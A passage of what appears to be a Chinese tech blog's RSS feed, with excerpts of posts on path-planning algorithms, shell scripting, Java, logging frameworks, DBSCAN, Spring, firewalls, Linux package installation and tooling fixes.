顶点可见性判断&#xA;可视图法能求得最短路径，但搜索时间长，并且缺乏灵活性，即一旦机器人的起始点和目标点发生改变，就要重新构造可视图，比较麻烦。可视图法适用于多边形障碍物，对于圆形障碍物失效。切线图法和Voronoi图法对可视图法进行了改进。切线图法用障碍物的切线表示弧，因此是从起始点到目标点的最短路径的图，移动机器人必须几乎接近障碍物行走。其缺点是如果控制过程中产生位置误差，机器人碰撞障碍物的可能性会很高。Voronoi图法用尽可能远离障碍物和墙壁的路径表示弧。因此，从起始点到目标点的路径将会增长，但采用这种控制方式时，即使产生位置误差，移动机器人也不会碰到障碍物。&#xA;2.1.2 Dijkstra算法 Dijkstra算法由荷兰计算机科学家艾兹赫尔·戴克斯特拉（Edsger Wybe Dijkstra）发明，通过计算初始点到自由空间内任何一点的最短距离可以得到全局最优路径。算法从初始点开始计算周围4个或者8个点与初始点的距离，再将新计算距离的点作为计算点计算其周围点与初始点的距离，这样计算像波阵面一样在自由空间内传播，直到到达目标点。这样就可以计算得到机器人的最短路径。&#xA;Dijkstra算法是一种经典的广度优先的状态空间搜索算法，即算法会从初始点开始一层一层地搜索整个自由空间直到到达目标点。这样会大大增加计算时间和数据量。而且搜索得到的大量对于机器人运动是无用的。</description>
    </item>
    <item>
      <title>shell脚本引用子脚本中的变量</title>
      <link>https://bchobby.github.io/posts/66e7b9119723542bf41475eaf8d3b91e/</link>
      <pubDate>Tue, 01 Feb 2022 14:40:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/66e7b9119723542bf41475eaf8d3b91e/</guid>
      <description>废话少说! show me the fucking source code!&#xA;// 目录结构 . ├── config.sh └── main.sh 场景1: main脚本引用子脚本中的变量&#xA;# config.sh export NAME1=&#34;name1 in config&#34;; NAME2=&#34;name2 in config&#34;; # !/bin/bash # main.sh # 这样无法引用到config.sh中的变量 ./config.sh echo &#34;name3 = ${NAME1}&#34;; echo &#34;name4 = ${NAME2}&#34;; # 这样也无法引用到config.sh中的变量 sh ./config.sh echo &#34;name3 = ${NAME1}&#34;; echo &#34;name4 = ${NAME2}&#34;; # 这样就可以引用到config.sh中的变量 source ./config.sh echo &#34;name3 = ${NAME1}&#34;; echo &#34;name4 = ${NAME2}&#34;; # 通过分析./config.sh还是 sh config.sh作用是一样的，都是新开启了一个shell进行，去执行config.sh # 而接下来的echo语句是在主shell进程执行的。 # 可以通过 echo $$来打印当前shell执行的pid。 场景2: 子脚本引用主脚本中的变量</description>
    </item>
    <item>
      <title>Java学习第十三天＜instance of＞＜static 关键字详解＞＜抽象类＞＜接口的定义与实现＞＜N中内部类＞</title>
      <link>https://bchobby.github.io/posts/da101cea1a31fcb8819fd0386c71ab78/</link>
      <pubDate>Mon, 31 Jan 2022 22:53:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da101cea1a31fcb8819fd0386c71ab78/</guid>
      <description>instance of package com.oop.demo06; ​ public class Teacher extends Person{ ​ } package com.oop.demo06; ​ public class Person { public void run(){ System.out.println(&#34;run&#34;); } } package com.oop.demo06; ​ public class Studenr2 extends Person{ public void go(){ System.out.println(&#34;go&#34;); } } /*测试 //Object&amp;gt;String //Object&amp;gt;Person&amp;gt;Teacher //Object&amp;gt;Person&amp;gt;Student2 //System.out.println(x instanceof y);判断x与y是否存在父子关系 左边类名级别决定能跟哪一级编译判断，不能和并列级判断 Object studenr1 = new Studenr2(); System.out.println(studenr1 instanceof Studenr2); System.out.println(studenr1 instanceof com.oop.demo06.Person); System.out.println(studenr1 instanceof Object);//true System.out.println(studenr1 instanceof com.oop.demo06.Teacher);//false System.out.println(studenr1 instanceof String); System.out.println(&#34;===============================================&#34;); com.oop.demo06.Person person1 = new Studenr2(); System.</description>
    </item>
    <item>
      <title>【Log】（三）Java 中的日志框架 logback、log4j2</title>
      <link>https://bchobby.github.io/posts/a7cadf8373f7a62c8bc87dd2e295f29a/</link>
      <pubDate>Mon, 31 Jan 2022 18:56:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7cadf8373f7a62c8bc87dd2e295f29a/</guid>
      <description>【Log】（一）Java 中的日志框架 JUL、Log4j&#xA;【Log】（二）Java 中的日志框架 JCL、SLF&#xA;【Log】（三）Java 中的日志框架 logback、log4j2&#xA;1. logback 学习 1.1 logback 介绍 logback 是由 log4j 创始人设计的另一个开源日志组件，性能比 log4j 好&#xA;logback 主要分为 3 个模块：&#xA;logback-core：其它两个模块的基础模块logback-classic：它是 log4j 的一个改良版本，同时它完整实现了 slf4j APIlogback-access：访问模块与 Servlet 容器集成提供通过 http 来访问日志的功能 1.2 快速入门 新建一个 Maven 工程，引入依赖，POM 文件：&#xA;&amp;lt;!--slf日志门面--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.slf4j&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;slf4j-api&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.7.26&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!--logback--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;ch.qos.logback&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;logback-classic&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.2.3&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 1. 入门案例：&#xA;public class LogbackTest { public static final Logger LOGGER = LoggerFactory.getLogger(LogbackTest.class); @Test public void testQuick() { LOGGER.</description>
    </item>
    <item>
      <title>UVM验证之config_db机制</title>
      <link>https://bchobby.github.io/posts/4cd4a294ddf801f8e11997f99915c402/</link>
      <pubDate>Sun, 30 Jan 2022 10:46:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4cd4a294ddf801f8e11997f99915c402/</guid>
      <description>set与get函数参数介绍 config_db机制用于UVM验证平台之间的参数传递。set函数为寄信，get函数为收信，它们通常成对出现。比如：在某个用例的build_phase中使用如下方式寄信：&#xA;uvm_config_db#(int)::set(this,&#34;env.agt.driver&#34;,&#34;para&#34;,10); set函数中，第一个参数和第二个参数组成目标路径，与此目标路径相同的目标才会成功收信。第一个参数必须是一个uvm_component实例的指针，第二个参数是相对此实例的路径。第三个参数表示一个记号，用于说明该值传给目标中的哪个成员，第四个参数是要设置的值。&#xA;在目标路径driver中的build_phase使用如下方式收信：&#xA;uvm_config_db#(int)::get(this,&#34;&#34;,&#34;para&#34;,para_value); get函数中，第一个参数和第二个参数组成路径。第一个参数必须是一个uvm_component实例的指针，第二个参数是相对此实例的路径。通常，如果第一个参数设置为this，第二个参数可以是一个空的字符串。第三个参数为set函数中的第三个参数，这两个参数必须完全相同，第四个参数是要设置的变量。&#xA;set和get函数执行之后，para_value的值变为10。&#xA;需要特别注意的是：在寄信和收信时，寄信必须在收信之前完成，否则将会收信失败。换言之，可以只有set函数，但是当有get函数时必须有set函数，且必须在get函数之前执行完成。</description>
    </item>
    <item>
      <title>实战案例，手把手教你用 Python 构建电商用户画像</title>
      <link>https://bchobby.github.io/posts/eacf248b37074202df823b1d292df36a/</link>
      <pubDate>Sun, 30 Jan 2022 09:27:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eacf248b37074202df823b1d292df36a/</guid>
      <description>大家好，本文以真实案为例手把手教你搭建电商系统的用户画像。&#xA;先来看该电商用户画像用到的标签。&#xA;数据内容包括user_id（用户身份）、item_id（商品）、IDbehavior_type（用户行为类型，包含点击、收藏、加购物车、支付四种行为，分别用数字1、2、3、4表示）、user_geohash（地理位置）、item_category（品类ID，即商品所属的品类）、Time（用户行为发生的时间），其中user_id和item_id因为涉及隐私，做了脱敏处理，显示的是数字编号。&#xA;下面是具体的代码实现过程。&#xA;导入库 本示例除了用到numpy、pandas、matplotlib，还用到其他一些模块。&#xA;# 导入所需的库 %matplotlib inline import numpy as np import pandas as pd from matplotlib import pyplot as plt from datetime import datetime 参数说明如下。&#xA;%matplotlib inline： 一个魔法函数，由于%matplotlib inline的存在，当输入plt.plot()后，不必再输入plt.show()，图像将自动显示出来。&#xA;datetime： 用来显示时间的模块。&#xA;数据准备 # 导入数据集 df_orginal = pd.read_csv(&#39;./taobao_persona.csv&#39;) # 抽取部分数据 df = df_orginal.sample(frac=0.2,random_state=None) 此处使用Pandas的read_csv方法读取数据文件，由于数据集太大，为了提高运行效率，使用sample函数随机抽取20%的数据。&#xA;DataFrame.sample()是Pandas中的函数，DataFrame是一种数据格式，代指df_orginal。frac(fraction)是抽取多少数据，random_state是随机数种子，目的是保证每次随机抽取的数据一样，防止执行命令时使用不一样的数据。&#xA;数据预处理 # 查看其中是否有缺失值，统计各字段缺失值 df.isnull().any().sum() # 发现只有user_geohash有缺失值，且缺失的比例很高，无统计分析的意义，将此列删 df.drop(&#39;user_geohash&#39;,axis=1,inplace=True) # 将time字段拆分为日期和时段 df[&#39;date&#39;] = df[&#39;time&#39;].str[0:10] df[&#39;time&#39;] = df[&#39;time&#39;].str[11:] df[&#39;time&#39;] = df[&#39;time&#39;].astype(int) # date用str方法取0-9位的字符，time取11位到最后一位，将time转化成int类型。 # 将时段分为&#39;凌晨&#39;,&#39;上午&#39;,&#39;中午&#39;,&#39;下午&#39;,&#39;晚上&#39; df[&#39;hour&#39;] = pd.</description>
    </item>
    <item>
      <title>关于DBSCAN聚类算法</title>
      <link>https://bchobby.github.io/posts/dc160b075d560fa170b191428df0c2a9/</link>
      <pubDate>Sat, 29 Jan 2022 22:28:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dc160b075d560fa170b191428df0c2a9/</guid>
      <description>基本概念 DBSCAN（Density-Based Spatial Clustering of Application with Noiso）:具有噪声的基于密度的聚类方法。从名字中就可以看出来，簇划分是根据样本密度来决定的。在了解算法具体过程之前，需要先了解一下相关的基本概念：&#xA;ϵ-邻域：样本x以ϵ为半径的范围内包含的所有样本的集合&#xA;核心对象：样本x的ϵ-领域内样本数大于阈值MinPts，则x为核心对象&#xA;直接密度可达：若某点p在点q的ϵ-邻域内，且q是核心点，则p由q直接密度可达。&#xA;密度相连：若从某核心点p出发，点q和点k都是密度可达的 ,则称点q和点k是密度相连的。&#xA;DBSCAN的基本思想：由密度可达导出的最大密度相连的集合作为一个簇。&#xA;算法流程 (1)将所有的样本标记为未访问状态&#xA;(2)随机选择一个未访问对象P，将其标记为已访问&#xA;(3)如果p为核心对象，创建一个新簇C，将q添加到C中&#xA;(4)对于C中的每一个样本q，如果q为核心对象，遍历其ϵ-邻域内的所有样本x：&#xA;a.如果x未被访问，则标记为已访问，将x添加到C中&#xA;b.如果x已被访问但是不属于任何一个簇，将x添加到C中&#xA;c.对C中的每个元素重复步骤a、b&#xA;(5)重复(2)到(4),直到没有未被访问的样本&#xA;(6)输出所有簇划分&#xA;DBSCAN类重要参数 DBSCAN类的重要参数也分为两类，一类是DBSCAN算法本身的参数，一类是最近邻度量的参数，下面我们对这些参数做一个总结。&#xA;1）eps： DBSCAN算法参数，即我们的ϵϵ-邻域的距离阈值，和样本距离超过ϵϵ的样本点不在ϵϵ-邻域内。默认值是0.5.一般需要通过在多组值里面选择一个合适的阈值。eps过大，则更多的点会落在核心对象的ϵϵ-邻域，此时我们的类别数可能会减少， 本来不应该是一类的样本也会被划为一类。反之则类别数可能会增大，本来是一类的样本却被划分开。&#xA;2）min_samples： DBSCAN算法参数，即样本点要成为核心对象所需要的ϵϵ-邻域的样本数阈值。默认值是5. 一般需要通过在多组值里面选择一个合适的阈值。通常和eps一起调参。在eps一定的情况下，min_samples过大，则核心对象会过少，此时簇内部分本来是一类的样本可能会被标为噪音点，类别数也会变多。反之min_samples过小的话，则会产生大量的核心对象，可能会导致类别数过少。&#xA;3）metric：最近邻距离度量参数。可以使用的距离度量较多，一般来说DBSCAN使用默认的欧式距离（即p=2的闵可夫斯基距离）就可以满足我们的需求。可以使用的距离度量参数有：&#xA;a) 欧式距离 “euclidean”:&#xA;b) 曼哈顿距离 “manhattan”：&#xA;c) 切比雪夫距离“chebyshev”: d) 闵可夫斯基距离 “minkowski”: e) 带权重闵可夫斯基距离 “wminkowski”:&#xA;f) 标准化欧式距离 “seuclidean”: 即对于各特征维度做了归一化以后的欧式距离。此时各样本特征维度的均值为0，方差为1.&#xA;g) 马氏距离“mahalanobis”：&#xA;其中，S的-1次方为样本协方差矩阵的逆矩阵。当样本分布独立时， S为单位矩阵，此时马氏距离等同于欧式距离。&#xA;4）algorithm：最近邻搜索算法参数，算法一共有三种，第一种是蛮力实现，第二种是KD树实现，第三种是球树实现。这三种方法在K近邻法(KNN)原理小结中都有讲述，如果不熟悉可以去复习下。对于这个参数，一共有4种可选输入，‘brute’对应第一种蛮力实现，‘kd_tree’对应第二种KD树实现，‘ball_tree’对应第三种的球树实现， ‘auto’则会在上面三种算法中做权衡，选择一个拟合最好的最优算法。需要注意的是，如果输入样本特征是稀疏的时候，无论我们选择哪种算法，最后scikit-learn都会去用蛮力实现‘brute’。个人的经验，一般情况使用默认的 ‘auto’就够了。 如果数据量很大或者特征也很多，用&#34;auto&#34;建树时间可能会很长，效率不高，建议选择KD树实现‘kd_tree’，此时如果发现‘kd_tree’速度比较慢或者已经知道样本分布不是很均匀时，可以尝试用‘ball_tree’。而如果输入样本是稀疏的，无论你选择哪个算法最后实际运行的都是‘brute’。&#xA;5）leaf_size：最近邻搜索算法参数，为使用KD树或者球树时， 停止建子树的叶子节点数量的阈值。这个值越小，则生成的KD树或者球树就越大，层数越深，建树时间越长，反之，则生成的KD树或者球树会小，层数较浅，建树时间较短。默认是30. 因为这个值一般只影响算法的运行速度和使用内存大小，因此一般情况下可以不管它。&#xA;6） p: 最近邻距离度量参数。只用于闵可夫斯基距离和带权重闵可夫斯基距离中p值的选择，p=1为曼哈顿距离， p=2为欧式距离。如果使用默认的欧式距离不需要管这个参数。&#xA;以上就是DBSCAN类的主要参数介绍，其实需要调参的就是两个参数eps和min_samples，这两个值的组合对最终的聚类效果有很大的影响。&#xA;可直接使用sklearn库进行调用：&#xA;from sklearn.</description>
    </item>
    <item>
      <title>Spring依赖注入</title>
      <link>https://bchobby.github.io/posts/f7c4de521763eadd1fb950b910b47681/</link>
      <pubDate>Sat, 29 Jan 2022 16:08:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f7c4de521763eadd1fb950b910b47681/</guid>
      <description>spring ioc容器初始化好bean的实例对象之后，会对该对象中的属性进行初始化，初始化的过程依然是由容器自动来完成，这个被称为是依赖注入（dependency injection缩写是DI）。spring里面常用的注入方式有两种，setter方法注入，构造方法注入。&#xA;还有一种方式是实现特定接口注入。由于这种方式采用侵入式编程，污染代码，所以已经不用了。&#xA;基于XML配置文件的依赖注入&#xA;setter方法注入&#xA;容器通过调用setter方法将对象注入，这种方式比较简单，所以使用的概率比较高。&#xA;示例：&#xA;创建一个UserDao接口和其实现类：&#xA;public interface UserDao { void addUser(); } 实现类：&#xA;public class UserDaoImpl implements UserDao { @Override public void addUser() { System.out.println(&#34;添加学生数据&#34;); } } 创建UserService接口和其实现类：&#xA;public interface UserService { void addUser(); } 实现类，里面添加UserDao的变量，并创建setter和getter方法：&#xA;public class UserServiceImpl implements UserService { private UserDao userDao; @Override public void addUser() { //以前如果需要使用UserDao对象的时候，需要在这里创建对象 //userDao = new UserDaoImpl(); //使用spring之后，由spring为我们创建对象 userDao.addUser(); } public UserDao getUserDao() { return userDao; } public void setUserDao(UserDao userDao) { this.</description>
    </item>
    <item>
      <title>LeetCode简单题之寻找数组的中心下标</title>
      <link>https://bchobby.github.io/posts/f147d75731e2f49df535bf45ae7060a5/</link>
      <pubDate>Fri, 28 Jan 2022 22:12:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f147d75731e2f49df535bf45ae7060a5/</guid>
      <description>题目 给你一个整数数组 nums ，请计算数组的 中心下标 。&#xA;数组 中心下标 是数组的一个下标，其左侧所有元素相加的和等于右侧所有元素相加的和。&#xA;如果中心下标位于数组最左端，那么左侧数之和视为 0 ，因为在下标的左侧不存在元素。这一点对于中心下标位于数组最右端同样适用。&#xA;如果数组有多个中心下标，应该返回 最靠近左边 的那一个。如果数组不存在中心下标，返回 -1 。&#xA;示例 1：&#xA;输入：nums = [1, 7, 3, 6, 5, 6]&#xA;输出：3&#xA;解释：&#xA;中心下标是 3 。&#xA;左侧数之和 sum = nums[0] + nums[1] + nums[2] = 1 + 7 + 3 = 11 ，&#xA;右侧数之和 sum = nums[4] + nums[5] = 5 + 6 = 11 ，二者相等。&#xA;示例 2：&#xA;输入：nums = [1, 2, 3]</description>
    </item>
    <item>
      <title>linux内核的ip头校验和测试</title>
      <link>https://bchobby.github.io/posts/ba01c51763b77d6b0dc4efa738021e70/</link>
      <pubDate>Fri, 28 Jan 2022 19:19:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba01c51763b77d6b0dc4efa738021e70/</guid>
      <description>测试程序：&#xA;#include &#34;stdio.h&#34; #include &#34;stdlib.h&#34; typedef __signed__ char __s8; typedef unsigned char __u8; typedef __signed__ short __s16; typedef unsigned short __u16; typedef __signed__ int __s32; typedef unsigned int __u32; typedef __signed__ long __s64; typedef unsigned long __u64; typedef __s8 s8; typedef __u8 u8; typedef __s16 s16; typedef __u16 u16; typedef __s32 s32; typedef __u32 u32; typedef __s64 s64; typedef __u64 u64; #ifdef __CHECKER__ #define __bitwise__ __attribute__((bitwise)) #else #define __bitwise__ #endif #define __bitwise __bitwise__ typedef __u16 __bitwise __le16; typedef __u16 __bitwise __be16; typedef __u32 __bitwise __le32; typedef __u32 __bitwise __be32; typedef __u64 __bitwise __le64; typedef __u64 __bitwise __be64; typedef __u16 __bitwise __sum16; typedef __u32 __bitwise __wsum; struct iphdr { __u8 ihl:4, version:4; __u8 tos; __be16 tot_len; __be16 id; __be16 frag_off; __u8 ttl; __u8 protocol; unsigned short check; __be32 saddr; __be32 daddr; }; static inline unsigned short ip_fast_csum(const void *iph, unsigned int ihl) { unsigned int sum; asm(&#34;</description>
    </item>
    <item>
      <title>Android S 12 行为变更：所有应用</title>
      <link>https://bchobby.github.io/posts/d0c70dd3d0c22203bd8cf8bd24e86108/</link>
      <pubDate>Fri, 28 Jan 2022 15:28:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0c70dd3d0c22203bd8cf8bd24e86108/</guid>
      <description>Android 12 平台包含一些行为变更，这些变更可能会影响您的应用。以下行为变更将影响在 Android 12 上运行的所有应用，无论采用哪种 targetSdkVersion 都不例外。您应该测试您的应用，然后根据需要进行修改，以适当地支持这些变更。&#xA;此外，请务必查看仅影响以 Android 12 为目标平台的应用的行为变更列表。&#xA;用户体验 拉伸滚动效果 在搭载 Android 12 及更高版本的设备上，滚动事件的视觉行为发生了变化。&#xA;在 Android 11 及更低版本中，滚动事件会使视觉元素发光。在 Android 12 及更高版本中，发生拖动事件时，视觉元素会拉伸和反弹；发生快速滑动事件时，它们会快速滑动和反弹。&#xA;如需了解详情，请参阅动画演示滚动手势指南。&#xA;应用启动画面 如果您之前在 Android 11 或更低版本中实现了自定义启动画面，则需要将您的应用迁移到 SplashScreen API，以确保它从 Android 12 开始正确显示。如果不迁移您的应用，则可能会导致应用启动体验变差或出乎预期。&#xA;如需了解相关说明，请参阅将现有的启动画面实现迁移到 Android 12。&#xA;此外，从 Android 12 开始，在所有应用的冷启动和温启动期间，系统始终会应用新的 Android 系统默认启动画面。 默认情况下，此系统默认启动画面由应用的启动器图标元素和主题的 windowBackground（如果是单色）构成。&#xA;如需了解详情，请参阅启动画面开发者指南。&#xA;网络 intent 解析 从 Android 12（API 级别 31）开始，仅当您的应用获准处理某个通用网络 intent 中包含的特定网域时，该网络 intent 才会解析为应用中的 activity。如果您的应用未获准处理相应的网域，则该网络 intent 会解析为用户的默认浏览器应用。&#xA;应用可通过执行以下某项操作来获准处理相应的网域：&#xA;使用 Android App Links 验证网域。</description>
    </item>
    <item>
      <title>No matching distribution found for panda（cmd中安装panda时报错）</title>
      <link>https://bchobby.github.io/posts/10f0ebb51438baf1dc10c9b0d81e57d5/</link>
      <pubDate>Fri, 28 Jan 2022 14:36:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/10f0ebb51438baf1dc10c9b0d81e57d5/</guid>
      <description> 报错界面：&#xA;解决办法：&#xA;当直接使用pip install panda报该错误的时候，我们可以通过换源来解决：&#xA;pip install panda -i https://pypi.tuna.tsinghua.edu.cn/simple/ </description>
    </item>
    <item>
      <title>undefined: There is no template at js/tmpl/login.ejs undefined/ Rabbitmq页面突然打不开</title>
      <link>https://bchobby.github.io/posts/7078e8ad19d256ebb6237de0af0a5436/</link>
      <pubDate>Thu, 27 Jan 2022 17:41:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7078e8ad19d256ebb6237de0af0a5436/</guid>
      <description>1.问题：Rabbitmq页面突然打不开 正在使用中，“上网”查资料，再用rabbitmq就突然不能用了😭&#xA;2.解决：关闭“梯子” 中途查资料，打开“梯子”，导致不能用rabbitmq&#xA;3.解决过程 我在docker中部署rabbitmq&#xA;3.1 刷新页面 —此时没用 3.2 重启rabbitmq —此时没用 1 docker 启动与停止&#xA;systemctl start docker # docker 启动 systemctl stop docker # docker 停止 systemctl restart docker # docker 重启 启动安装好的容器名/服务名&#xA;docker start 容器名 停止正在运行的容器&#xA;docker stop 容器名 3.3 电脑浏览器页面打不来，手机却可以 手机可以证明，服务器部署的rabbitmq没问题。由此，推出异常“梯子”。</description>
    </item>
    <item>
      <title>防火墙的基本概念和分类</title>
      <link>https://bchobby.github.io/posts/c6d22cf5abbe278e8fc25a87cff788ba/</link>
      <pubDate>Thu, 27 Jan 2022 14:36:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6d22cf5abbe278e8fc25a87cff788ba/</guid>
      <description>防火墙的概念 “防火墙”一词起源于建筑领域，用来隔离火灾，阻止火势从一个区域蔓延到另一个区域。引入到通信领域，防火墙这一具体设备通常用于两个网络之间有针对性的、逻辑意义上的隔离。当然，这种隔离是高明的，隔离的是“火”的蔓延，而又保证“人”的穿墙而过。这里的“火”是指网络中的各种攻击，而“人”是指正常的通信报文。&#xA;用通信语言来定义，防火墙主要用于保护一个网络区域免受来自另一个网络区域的网络攻击和网络入侵行为。因其隔离、防守的属性，灵活应用于网络边界、子网隔离等位置，具体如企业网络出口、大型网络内部子网隔离、数据中心边界等等。&#xA;从实现的方式来看，防火墙可以分为硬件防火墙和软件防火墙。硬件防火墙是通过硬件与软件的结合来达到隔离内外部网络的目的，而软件防火墙则是通过纯软件的方式来实现。&#xA;防火墙的作用 防火墙能够隔离风险区域和安全区域，但不会妨碍人们对风险区域的访问。从总体上看，防火墙应该具有以下基本功能：&#xA;（2）限制未授权用户进入内部网络，过滤掉不安全的服务和非法用户。&#xA;（3）防止入侵者接近内部网络的防御设施，对网络攻击进行检测和报警。&#xA;（4）限制内部用户访问特殊站点。&#xA;（5）记录通过防火墙的信息内容和活动。&#xA;防火墙的技术特点 而一个好的防火墙系统应该具备以下特性：&#xA;（1）所有在内部网络和外部网络之间传输的数据都必须经过防火墙。&#xA;（2）只有被授权的合法数据即安全策略允许的数据才允许通过防火墙。&#xA;（3）防火墙本身具有预防入侵的功能，不受各种攻击的影响。&#xA;（4）人机交互界面良好，用户配置方便、易管理。&#xA;防火墙的分类 （1）网络层防火墙&#xA;网络层防火墙可视为一种 IP 封包过滤器，运作在底层的TCP/IP协议堆栈上。我们可以以枚举的方式，只允许符合特定规则的封包通过，其余的一概禁止穿越防火墙（病毒除外，防火墙不能防止病毒侵入）。这些规则通常可以经由管理员定义或修改，不过某些防火墙设备可能只能套用内置的规则。我们也能以另一种较宽松的角度来制定防火墙规则，只要封包不符合任何一项“否定规则”就予以放行。&#xA;（2）应用层防火墙&#xA;应用层防火墙是在 TCP/IP 堆栈的“应用层”上运作，您使用浏览器时所产生的数据流或是使用 FTP 时的数据流都是属于这一层。应用层防火墙可以拦截进出某应用程序的所有封包，并且封锁其=他的封包（通常是直接将封包丢弃）。理论上，这一类的防火墙可以完全阻绝外部的数据流进到受保护的机器里。防火墙借由监测所有的封包并找出不符规则的内容，可以防范电脑蠕虫或是木马程序的快速蔓延。根据侧重不同，可分为：包过滤型防火墙、应用层网关型防火墙、服务器型防火墙。&#xA;（3）数据库防火墙&#xA;数据库防火墙是一款基于数据库协议分析与控制技术的数据库安全防护系统。基于主动防御机制，实现数据库的访问行为控制、危险操作阻断、可疑行为审计。数据库防火墙通过SQL协议分析，根据预定义的禁止和许可策略让合法的SQL操作通过，阻断非法违规操作，形成数据库的外围防御圈，实现SQL危险操作的主动预防、实时审计。数据库防火墙面对来自于外部的入侵行为，提供SQL注入禁止和数据库虚拟补丁包功能。</description>
    </item>
    <item>
      <title>Linux源码包安装和RPM包安装区别</title>
      <link>https://bchobby.github.io/posts/eef8f2eeeaf824e327beea1c312b27b0/</link>
      <pubDate>Thu, 27 Jan 2022 14:04:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eef8f2eeeaf824e327beea1c312b27b0/</guid>
      <description>一、区别&#xA;1、安装前：概念上不同。&#xA;1.1、RPM包是二进制包，源码包就是C语言文件。&#xA;2、安装后：安装位置的不同&#xA;1.1、RPM包安装位置是安装在多个位置，这不是由安装人决定的，而是由RPM包的作者决定的。&#xA;3、其他&#xA;3.1、RPM包安装后访问效率较低，源码包访问效率高。所以安装访问量大的服务的时候建议使用源码包安装，Apache就强烈建议使用源码包安装。&#xA;3.2、RPM虽然也可以指定位置，但是不建议指定位置安装RPM包，因为安装之后系统找不到命令，就不可以用RPM的命令来启动和关闭了。&#xA;二、启动与停止&#xA;1、RPM&#xA;启动服务： 1、使用绝对路径方式启动：/etc/rc.d/init.d/httpd start (linux标准启动方法)&#xA;2、service httpd start (redhat系列专有命令)&#xA;停止服务：service httpd stop&#xA;2、源码包&#xA;2.1、启动服务： /usr/local/apache2/bin/apachectl start&#xA;2.2、怎么知道这个启动命令的？&#xA;进入源码包目录，在这个目录下有一个INSTALL文件，打开文件可以发现安装和启动方法。&#xA;三、源码包安装位置&#xA;1、默认安装位置：/usr/local/软件名/&#xA;2、启动方法：/usr/local/apache2/bin/apachectl start&#xA;3、源码包保存位置：/usr/local/src/&#xA;四、安装&#xA;1、./configure 软件配置与检查(进入解压缩目录后都会有configure这个命令)&#xA;1.1、定义需要的功能选项&#xA;1.2、检测系统环境是否符合安装要求&#xA;1.3、把定义好的功能选项和检测环境系统信息都写入Makefile文件，用于后续的编辑&#xA;说明：a、每个源码包都会有configure命令，就算极个别没有这个命令也会用其他的命令取代&#xA;b、执行过./configure之后，会生成Makefile文件，make和make install都是依赖这个文件进行编译安装的，&#xA;此处安装假设： ./configure --prefix=/usr/local/apache2/&#xA;2、make：编译&#xA;2.1、将源码包翻译成机器能识别的语言&#xA;2.2、一旦编译出错，可使用make clean，清除之前的编译。&#xA;说明：这一步执行时间一般是最长的。&#xA;3、make install&#xA;3.1、真正进行安装&#xA;3.2、一旦这一步报错，那要执行两步：&#xA;1、make clean&#xA;2、直接删除/usr/local/apache2/这个目录即可。&#xA;五、卸载&#xA;1、源码包卸载：直接删除安装目录即可，不会残留任何垃圾。&#xA;2、RPM包卸载：rpm -e 软件名</description>
    </item>
    <item>
      <title>VSCode安装LeetCode插件</title>
      <link>https://bchobby.github.io/posts/d8efc20966122bd1a35c1009683c6238/</link>
      <pubDate>Thu, 27 Jan 2022 13:36:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8efc20966122bd1a35c1009683c6238/</guid>
      <description>VSCode安装LeetCode插件 一、LeetCode插件安装 在VScode的Extensions中搜索LeetCode，并点击install安装。&#xA;二、登录 输入账号密码登录，可能会报错：&#xA;login: (node:22564) Warning: Accessing non-existent property ‘padLevels’ of module exports inside circular dependency&#xA;(Use node --trace-warnings ... to show where the warning was created)&#xA;pass: - Signing in leetcode.com&#xA;[ERROR] invalid password?&#xA;解决方法：&#xA;点击如下图标，切换为力扣中文版（如果是在中文版注册的账号）。&#xA;三、设置默认语言、存储地址 在VSCode的Setting中，可以设置默认的编程语言，和代码的存储位置，如下图所示：&#xA;四、其它报错 4.1 无法预览题目 Error loading webview: Error: Could not register service workers: InvalidStateError: Failed to register a ServiceWorker: The document is in an invalid state…&#xA;解决方法：重启VSCode。&#xA;4.2 提交代码时，报错[ERROR] session expired, please login again [code=-1] 解决方法：在力扣网站个人账号信息处，验证邮箱。</description>
    </item>
    <item>
      <title>SpringSecurity权限记录</title>
      <link>https://bchobby.github.io/posts/6b9f51df5e525c3836e44535fc121fe1/</link>
      <pubDate>Thu, 27 Jan 2022 12:25:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b9f51df5e525c3836e44535fc121fe1/</guid>
      <description>server 1、访问过滤器&#xA;code模式访问：http://localhost:8000/oauth/authorize?response_type=code&amp;amp;client_id=test_client&amp;amp;scope=read&amp;amp;state=test&amp;amp;redirect_uri=http://baidu.com&#xA;AnonymousAuthenticationFilter拦截进入登陆页面&#xA;if (SecurityContextHolder.getContext().getAuthentication() == null) {&#xA;SecurityContextHolder.getContext().setAuthentication(&#xA;createAuthentication((HttpServletRequest) req));&#xA;}&#xA;2、AbstractSecurityInterceptor spring SPEL比对类方法信息，属性比较&#xA;this.accessDecisionManager.decide(authenticated, object, attributes);&#xA;（ spel初始化见：ExpressionBasedFilterInvocationSecurityMetadataSource WebExpressionConfigAttribute）&#xA;代码例子&#xA;@Test public void expressionParserTest() { ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression(&#34;permitAll()&#34;); //使用自定义容器 StandardEvaluationContext ctx = new StandardEvaluationContext(); ctx.setRootObject(new SecurityExpressionRoot()); System.out.println(exp.getValue(ctx)); } class SecurityExpressionRoot { public final boolean permitAll() { return true; } public final boolean 